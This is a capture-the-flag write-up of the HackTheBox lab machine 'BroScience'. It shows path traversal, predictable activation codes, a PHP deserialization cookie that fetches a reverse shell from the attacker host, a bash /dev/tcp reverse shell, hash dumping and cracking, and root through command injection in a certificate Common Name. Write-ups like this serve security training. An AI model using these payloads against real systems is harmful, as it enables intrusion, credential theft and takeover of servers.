HackTheBox - BroScience Writeup
Table of Contents
Recon #
Firstly, we run nmap
:
┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ nmap -A -T5 10.10.11.195
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-21 12:37 CET
Nmap scan report for 10.10.11.195
Host is up (0.025s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
| 256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
|_ 256 3c6575274ae2ef9391374cfdd9d46341 (ED25519)
80/tcp open http Apache httpd 2.4.54
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Did not follow redirect to https://broscience.htb/
443/tcp open ssl/http Apache httpd 2.4.54 ((Debian))
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.54 (Debian)
|_ssl-date: TLS randomness does not represent time
|_http-title: BroScience : Home
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after: 2023-07-14T19:48:36
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.97 seconds
As we can see, we need to add the following line on our /ect/hosts
to visit the webserver:
10.10.11.195 broscience.htb
When we visit the website, we can see some articles and a log in button:
On these articles, we found some usernames:
administrator
bill
john
michael
Directory listing #
Then, we decide to enumerate directories:
┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ gobuster dir -k --url https://broscience.htb -b 404,400,500,503 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://broscience.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 500,503,404,400
[+] User Agent: gobuster/3.4
[+] Timeout: 10s
===============================================================
2023/01/23 10:19:04 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 319] [--> https://broscience.htb/images/]
/includes (Status: 301) [Size: 321] [--> https://broscience.htb/includes/]
/manual (Status: 301) [Size: 319] [--> https://broscience.htb/manual/]
/javascript (Status: 301) [Size: 323] [--> https://broscience.htb/javascript/]
/styles (Status: 301) [Size: 319] [--> https://broscience.htb/styles/]
LFI #
On /includes
there is some php
files:
The img.php
file prints that the parameter path
is missing:
Let’s try to exploit it !
Sadly, it’s detected:
So, we decide to double url encode the path and it works !
┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ curl -k https://broscience.htb/includes/img.php?path=..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/usr/sbin/nologin
man❌6:12👨/var/cache/man:/usr/sbin/nologin
lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail❌8:8:mail:/var/mail:/usr/sbin/nologin
news❌9:9:news:/var/spool/news:/usr/sbin/nologin
uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy❌13:13:proxy:/bin:/usr/sbin/nologin
www-data❌33:33:www-data:/var/www:/usr/sbin/nologin
backup❌34:34:backup:/var/backups:/usr/sbin/nologin
list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc❌39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt❌100:65534::/nonexistent:/usr/sbin/nologin
systemd-network❌101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve❌102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
tss❌103:109:TPM software stack,,,:/var/lib/tpm:/bin/false
messagebus❌104:110::/nonexistent:/usr/sbin/nologin
systemd-timesync❌105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
usbmux❌106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit❌107:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd❌108:65534::/run/sshd:/usr/sbin/nologin
dnsmasq❌109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi❌110:116:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher❌111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse❌112:118:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
saned❌113:121::/var/lib/saned:/usr/sbin/nologin
colord❌114:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue❌115:123::/var/lib/geoclue:/usr/sbin/nologin
Debian-gdm❌116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
bill❌1000:1000:bill,,,:/home/bill:/bin/bash
systemd-coredump❌999:999:systemd Core Dumper:/:/usr/sbin/nologin
postgres❌117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel❌998:998::/var/log/laurel:/bin/false
We know that bill
user exists on the host.
Generating Activation Code #
Now, we’ll try to learn more about the login page.
Let’s try to create an account:
We can see that an activation link is sent, as we can read files from img.php
, maybe we can read the source code and see how the activation link is formed ?
Indeed, we can.
Let’s use curl
:
curl -k https://broscience.htb/includes/img.php?path=..%252Fregister.php
<?php
session_start();
// Check if user is logged in already
if (isset($_SESSION['id'])) {
header('Location: /index.php');
}
// Handle a submitted register form
if (isset($_POST['username']) && isset($_POST['email']) && isset($_POST['password']) && isset($_POST['password-confirm'])) {
// Check if variables are empty
if (!empty($_POST['username']) && !empty($_POST['email']) && !empty($_POST['password']) && !empty($_POST['password-confirm'])) {
// Check if passwords match
if (strcmp($_POST['password'], $_POST['password-confirm']) == 0) {
// Check if email is too long
if (strlen($_POST['email']) <= 100) {
// Check if email is valid
if (filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
// Check if username is valid
if (strlen($_POST['username']) <= 100) {
// Check if user exists already
include_once 'includes/db_connect.php';
$res = pg_prepare($db_conn, "check_username_query", 'SELECT id FROM users WHERE username = $1');
$res = pg_execute($db_conn, "check_username_query", array($_POST['username']));
if (pg_num_rows($res) == 0) {
// Check if email is registered already
$res = pg_prepare($db_conn, "check_email_query", 'SELECT id FROM users WHERE email = $1');
$res = pg_execute($db_conn, "check_email_query", array($_POST['email']));
if (pg_num_rows($res) == 0) {
// Create the account
include_once 'includes/utils.php';
$activation_code = generate_activation_code();
$res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
$res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));
if (pg_num_rows($res) == 0) {
$res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));
// TODO: Send the activation link to email
$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";
$alert = "Account created. Please check your email for the activation link.";
$alert_type = "success";
} else {
$alert = "Failed to generate a valid activation code, please try again.";
}
} else {
$alert = "An account with this email already exists.";
}
}
else {
$alert = "Username is already taken.";
}
} else {
$alert = "Maximum username length is 100 characters.";
}
} else {
$alert = "Please enter a valid email address.";
}
} else {
$alert = "Maximum email length is 100 characters.";
}
} else {
$alert = "Passwords do not match.";
}
} else {
$alert = "Please fill all fields in.";
}
}
?>
<html>
<head>
<title>BroScience : Register</title>
<?php include_once 'includes/header.php'; ?>
</head>
<body>
<?php include_once 'includes/navbar.php'; ?>
<div class="uk-container uk-container-xsmall">
<form class="uk-form-stacked" method="POST" action="register.php">
<fieldset class="uk-fieldset">
<legend class="uk-legend">Register</legend>
<?php
// Display any alerts
if (isset($alert)) {
?>
<div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
<a class="uk-alert-close" uk-close></a>
<?=$alert?>
</div>
<?php
}
?>
<div class="uk-margin">
<input name="username" class="uk-input" placeholder="Username">
</div>
<div class="uk-margin">
<input name="email" class="uk-input" type="email" placeholder="Email">
</div>
<div class="uk-margin">
<input name="password" class="uk-input" type="password" placeholder="Password">
</div>
<div class="uk-margin">
<input name="password-confirm" class="uk-input" type="password" placeholder="Repeat password">
</div>
<div class="uk-margin">
<button class="uk-button uk-button-default" type="submit">Register</button>
</div>
</fieldset>
</form>
</div>
</body>
</html>
We can see that the activation code is generated by importing includes/utils.php
and then the function generate_activation_code()
is called. Let’s see this function by reading includes/utils.php
.
curl -k https://broscience.htb/includes/img.php?path=..%252Fincludes%252Futils.php
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)
function rel_time($from, $to = null) {
$to = (($to === null) ? (time()) : ($to));
$to = ((is_int($to)) ? ($to) : (strtotime($to)));
$from = ((is_int($from)) ? ($from) : (strtotime($from)));
$units = array
(
"year" => 29030400, // seconds in a year (12 months)
"month" => 2419200, // seconds in a month (4 weeks)
"week" => 604800, // seconds in a week (7 days)
"day" => 86400, // seconds in a day (24 hours)
"hour" => 3600, // seconds in an hour (60 minutes)
"minute" => 60, // seconds in a minute (60 seconds)
"second" => 1 // 1 second
);
$diff = abs($from - $to);
if ($diff < 1) {
return "Just now";
}
$suffix = (($from > $to) ? ("from now") : ("ago"));
$unitCount = 0;
$output = "";
foreach($units as $unit => $mult)
if($diff >= $mult && $unitCount < 1) {
$unitCount += 1;
// $and = (($mult != 1) ? ("") : ("and "));
$and = "";
$output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
$diff -= intval($diff / $mult) * $mult;
}
$output .= " ".$suffix;
$output = substr($output, strlen(", "));
return $output;
}
class UserPrefs {
public $theme;
public function __construct($theme = "light") {
$this->theme = $theme;
}
}
function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
} else {
$up_cookie = $_COOKIE['user-prefs'];
}
$up = unserialize(base64_decode($up_cookie));
return $up->theme;
} else {
return "light";
}
}
function get_theme_class($theme = null) {
if (!isset($theme)) {
$theme = get_theme();
}
if (strcmp($theme, "light")) {
return "uk-light";
} else {
return "uk-dark";
}
}
function set_theme($val) {
if (isset($_SESSION['id'])) {
setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
}
}
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
?>
By analyzing the function generate_activation_code()
, we learned that the activation code is not random, he’s based on a timestamp. So, if we know the exact time at wich we create our account, we can regenerate the activation code. Let’s use Burp to capture the response from the server when we create an account:
Now, we recreate the function locally. We have changed srand(time())
to srand(strtotime("Mon, 23 Jan 2023 10:08:40 GMT"))
:
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(strtotime("Mon, 23 Jan 2023 10:08:40 GMT"));
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
echo $activation_code;
}
generate_activation_code()
?>
Let’s see if it works:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/broscience]
└─$ php activation_code.php
Lx7LbkUFtJVrFy9KSq2hDpm965lts8Fd
Now, we are logged as test2
:
PHP Deserialization #
After some researches, we can see that in the utils.php
there is the process to create the cookie:
class UserPrefs {
public $theme;
public function __construct($theme = "light") {
$this->theme = $theme;
}
}
function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
} else {
$up_cookie = $_COOKIE['user-prefs'];
}
$up = unserialize(base64_decode($up_cookie));
return $up->theme;
} else {
return "light";
}
}
function get_theme_class($theme = null) {
if (!isset($theme)) {
$theme = get_theme();
}
if (strcmp($theme, "light")) {
return "uk-light";
} else {
return "uk-dark";
}
}
function set_theme($val) {
if (isset($_SESSION['id'])) {
setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
}
}
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
The theme
value is stored in the cookie through serialization
. So, when we provide a cookie, the value is unserialized
. Maybe we can craft this value to execute something macilious ?
As there is an Avatar
class in the code that writes the content of a file locally, maybe we can serialize
an object on our machine and then send this value to the server through the cookie ? Indeed, the __wakeup
method is triggered when unserialize()
is called. So when the value of the cookie we’ll be unserialized
, a new object of the AvatarInterface
we’ll be created with our values.
So let’s try to do it with the following code:
<?php
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp = "http://10.10.14.38/reverse-shell.php";
public $imgPath = "./reverse-shell.php";
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
$up_cookie = base64_encode(serialize(new AvatarInterface()));
echo $up_cookie
?>
So the file that will be opened is located on http://10.10.14.38/reverse-shell.php
and we’ll be wrote on ./reverse-shell.php
. Then we serialize
and encode in base64
the object of the class with these values.
By executing this code, we got a malicious cookie:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/broscience]
└─$ php serialize.php
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czozNjoiaHR0cDovLzEwLjEwLjE0LjM4L3JldmVyc2Utc2hlbGwucGhwIjtzOjc6ImltZ1BhdGgiO3M6MTk6Ii4vcmV2ZXJzZS1zaGVsbC5waHAiO30=
We add it on the user-prefs
cookie on our navigator and we reload the page:
Previously, we have created a reverse-shell.php
with the following code:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.38/1234 0>&1'");?>
And we have ran a webserver, when the page is reloaded we can see that a request is made:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/broscience]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.195 - - [23/Jan/2023 16:32:35] "GET /reverse-shell.php HTTP/1.0" 200 -
10.10.11.195 - - [23/Jan/2023 16:32:36] "GET /reverse-shell.php HTTP/1.0" 200 -
10.10.11.195 - - [23/Jan/2023 16:32:36] "GET /reverse-shell.php HTTP/1.0" 200 -
Then, we got a shell !
┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ rlwrap nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.38] from (UNKNOWN) [10.10.11.195] 43930
bash: cannot set terminal process group (1247): Inappropriate ioctl for device
bash: no job control in this shell
www-data@broscience:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Local Enumeration #
Database #
Previously, with the LFI vuln we found credentials to authenticate to the database
:
curl -k https://broscience.htb/includes/img.php?path=..%252Fincludes%252Fdb_connect.php
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/broscience]
└─$ curl -k https://broscience.htb/includes/img.php?path=..%252Fincludes%252Fdb_connect.php
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = ";";
$db_salt = "NaCl";
$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");
if (!$db_conn) {
die("<b>Error</b>: Unable to connect to database");
}
?>
So let’s try to found bill
hash:
www-data@broscience:/$ psql -h localhost -d broscience -U dbuser
psql -h localhost -d broscience -U dbuser
Password for user dbuser: RangeOfMotion%777
SELECT username,password FROM users;
username | password
---------------+----------------------------------
administrator | 15657792073e8a843d4f91fc403454e1
bill | 13edad4932da9dbb57d9cd15b66ed104
michael | bd3dad50e2d578ecba87d5fa15ca5f85
john | a7eed23a7be6fe0d765197b1027453fe
dmytro | 5d15340bded5b9395d5d14b9c21bc82b
test | 84c6e0688b2ef52ff1aeb922196d4e5a
test2 | 2f7d0e82bd095ead5cfff2c02dfe32cf
h | 710588f9357b37916f8b48eaa105bc64
(8 rows)
Password cracking #
Let’s add the salt
and the hash
in the format $pass:$salt
. We keep only the fourth first hashes:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/broscience]
└─$ cat hashes
15657792073e8a843d4f91fc403454e1:NaCl
13edad4932da9dbb57d9cd15b66ed104:NaCl
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl
a7eed23a7be6fe0d765197b1027453fe:NaCl
Once cracked, here is the passwords:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/broscience]
└─$ hashcat -m 20 -a 0 hashes /usr/share/wordlists/rockyou.txt --show
13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples
User PrivEsc #
Now, let’s try to connect to the host through ssh
with bill
:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/broscience]
└─$ ssh bill@broscience.htb
The authenticity of host 'broscience.htb (10.10.11.195)' can't be established.
ED25519 key fingerprint is SHA256:qQRm/99RG60gqk9HTpyf93940WYoqJEnH+MDvJXkM6E.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'broscience.htb' (ED25519) to the list of known hosts.
bill@broscience.htb's password:
Linux broscience 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jan 23 09:31:35 2023 from 10.10.14.45
bill@broscience:~$ ls -la
total 888
drwxr-xr-x 16 bill bill 4096 Jan 23 04:57 .
drwxr-xr-x 3 root root 4096 Dec 5 06:59 ..
lrwxrwxrwx 1 bill bill 9 Jul 14 2022 .bash_history -> /dev/null
-rw-r--r-- 1 bill bill 220 Jul 12 2022 .bash_logout
-rw-r--r-- 1 bill bill 3526 Jul 14 2022 .bashrc
drwxr-xr-x 10 bill bill 4096 Jul 14 2022 .cache
drwxr-xr-x 2 bill bill 4096 Jan 23 06:14 Certs
drwx------ 11 bill bill 4096 Jul 14 2022 .config
drwxr-xr-x 2 bill bill 4096 Jul 14 2022 Desktop
drwxr-xr-x 2 bill bill 4096 Jul 14 2022 Documents
drwxr-xr-x 2 bill bill 4096 Jul 14 2022 Downloads
drwx------ 3 bill bill 4096 Jan 23 11:23 .gnupg
-rwxr-xr-x 1 bill bill 828098 Jan 23 04:54 linpeas.sh
drwxr-xr-x 3 bill bill 4096 Jul 12 2022 .local
drwxr-xr-x 2 bill bill 4096 Jul 14 2022 Music
drwxr-xr-x 2 bill bill 4096 Jul 14 2022 Pictures
drwxr-xr-x 2 bill bill 4096 Jul 14 2022 Public
drwx------ 2 bill bill 4096 Jan 23 09:32 .ssh
drwxr-xr-x 2 bill bill 4096 Jul 14 2022 Templates
-rw-r----- 1 root bill 33 Jan 22 17:09 user.txt
drwxr-xr-x 2 bill bill 4096 Jul 14 2022 Videos
Command Injection #
We can see a Certs
folder, let’s look at it more closely:
bill@broscience:~/Certs$ ls -la
total 8
drwxr-xr-x 2 bill bill 4096 Jan 23 06:14 .
drwxr-xr-x 16 bill bill 4096 Jan 23 04:57 ..
Nothing, but we found under /opt
this script:
bill@broscience:/opt$ cat renew_cert.sh
#!/bin/bash
if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
echo "Usage: $0 certificate.crt";
exit 0;
fi
if [ -f $1 ]; then
openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then
echo "No need to renew yet.";
exit 1;
fi
subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)
country=$(echo $subject | grep -Eo 'C = .{2}')
state=$(echo $subject | grep -Eo 'ST = .*,')
locality=$(echo $subject | grep -Eo 'L = .*,')
organization=$(echo $subject | grep -Eo 'O = .*,')
organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
commonName=$(echo $subject | grep -Eo 'CN = .*,?')
emailAddress=$(openssl x509 -in $1 -noout -email)
country=${country:4}
state=$(echo ${state:5} | awk -F, '{print $1}')
locality=$(echo ${locality:3} | awk -F, '{print $1}')
organization=$(echo ${organization:4} | awk -F, '{print $1}')
organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
commonName=$(echo ${commonName:5} | awk -F, '{print $1}')
echo $subject;
echo "";
echo "Country => $country";
echo "State => $state";
echo "Locality => $locality";
echo "Org Name => $organization";
echo "Org Unit => $organizationUnit";
echo "Common Name => $commonName";
echo "Email => $emailAddress";
echo -e "\nGenerating certificate...";
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
$state
$locality
$organization
$organizationUnit
$commonName
$emailAddress
" 2>/dev/null
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
echo "File doesn't exist"
exit 1;
fi
By running pspy64
on the host, we can see that a cron
is executing with root rights the script:
bill@broscience:/tmp$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/01/23 11:40:01 CMD: UID=0 PID=231791 | /usr/sbin/CRON -f
2023/01/23 11:40:01 CMD: UID=0 PID=231790 | /usr/sbin/CRON -f
2023/01/23 11:40:01 CMD: UID=0 PID=231792 | /usr/sbin/CRON -f
2023/01/23 11:40:01 CMD: UID=0 PID=231793 | /bin/bash /root/webappreset.sh
2023/01/23 11:40:01 CMD: UID=0 PID=231794 | /bin/bash /root/webappreset.sh
2023/01/23 11:40:01 CMD: UID=0 PID=231795 | /usr/sbin/CRON -f
2023/01/23 11:40:01 CMD: UID=0 PID=231796 | /bin/bash /root/webappreset.sh
2023/01/23 11:40:01 CMD: UID=0 PID=231797 | /bin/bash /root/cron.sh
2023/01/23 11:40:01 CMD: UID=0 PID=231798 | /bin/bash /root/cron.sh
2023/01/23 11:40:01 CMD: UID=0 PID=231799 | timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
2023/01/23 11:40:01 CMD: UID=0 PID=231800 | /bin/bash /root/cron.sh
2023/01/23 11:40:01 CMD: UID=0 PID=231801 | /bin/bash /root/cron.sh
2023/01/23 11:40:01 CMD: UID=0 PID=231802 | /bin/bash /root/webappreset.sh
We can see that the script check the validity of a certificate and renew it if needed. If the script had to renew it, we can see that it moves the script under /tmp/temp.crt
.
But the $commonName
variable is insecure in this command:
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
So we can execute whatever we want by injecting code in the Common Name field. Indeed, we just need to create a certificate with one day of validity and set Common Name
to $(chmod u+s /bin/bash)
:
bill@broscience:~/Certs$ openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 1 -out broscience.crt
Generating a RSA private key
......................................................................................................................................................................................+++++
..................+++++
writing new private key to 'key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(chmod u+s /bin/bash)
Email Address []:
Root PrivEsc #
And we got a root shell !
bill@broscience:~/Certs$ /bin/bash -p
bash-5.1# id
uid=1000(bill) gid=1000(bill) euid=0(root) egid=0(root) groups=0(root),1000(bill)
bash-5.1# cat root.txt